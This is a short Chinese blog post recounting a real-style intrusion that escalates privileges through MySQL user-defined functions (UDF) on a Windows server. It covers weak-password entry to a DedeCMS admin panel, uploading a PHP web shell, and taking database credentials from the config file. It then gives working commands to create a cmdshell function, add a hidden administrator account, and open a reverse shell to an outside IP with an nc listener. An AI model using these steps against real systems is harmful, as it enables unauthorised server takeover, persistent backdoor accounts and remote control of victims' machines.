昔日

记一次UDF提权

Svch0st™blog✔:

纯属记录 ,大牛飞过


前言:udf提权是利用MYSQL的Create Function语句,将MYSQL账号转化为系统system权限。


适用环境:目标系统是Windows(Win2000,XP,Win2003)


0x01 扫描某段IP的21号(FTP)端口开启情况。得到目标IP查询出网站

0x02 直接上传php菜刀马未成功,只有读权限,没有写入权限

0x03 根据网站结构找到后台路径


弱口令进入后台之后,通过文件管理器上传php一句话代码,通过菜刀连接。

0x04   DEDECMS的数据库连接文件地址为:/data/common.inc.php


得到mysql数据库的连接配置。这个账号必须有对mysql的insert和delete权限以创建和抛弃函数




0x05  上传udf提权文件,输入配置



导出udf.dll的文件



MYSQL 5.1以下版本导出路径:


C:/Winnt/udf.dll      win2000
C:Windows/udf.dll  win2003(有的系统被转义,需要改为C:Windowsudf.dll)




MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib/plugin文件夹下才能创建自定义函数。




0x06  导出完dll文件后,创建shell函数。使用命令


Create Function cmdshell returns string soname ‘导出的DLL路径’  这里dll路径如果是在系统目录的话 可以直接写udf.dll




0x07 这里弄完之后就可以输入命令 select cmdshell ('你想输入的命令')





如创建帐号:select cmdshell ('net user iisuser$ qqq111! /add & net localgroup administrators iisuser$ /add') 点击确定 即可创建一个在administrators组的密码为qqq111!的iisuser$用户 用户名后加$是为了隐藏账户 。




提权结束。


--------------------------------------------------


udf除了可以创建cmdshell外 


还可以创建downloader 下载者,到网上下载指定文件并保存到指定目录;
  open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
   backshell 反弹Shell;
   ProcessView 枚举系统进程;
   KillProcess 终止指定进程;
   regread 读注册表;
   regwrite 写注册表;
   shut 关机,注销,重启;
   about 说明与帮助函数;




如果cmdshell执行命令不成功的话,还可以试试backshell


backshell和之前的创建命令一样 创建完之后在本地执行nc -l -p 666,监听666端口。


这时再回到udf界面输入select backshell(114.228.34.56,666),提示执行成功,就会在你的本地反弹一个cmdshell,提权同上


----------------------------------------------------------------------------


over

评论

热度(2)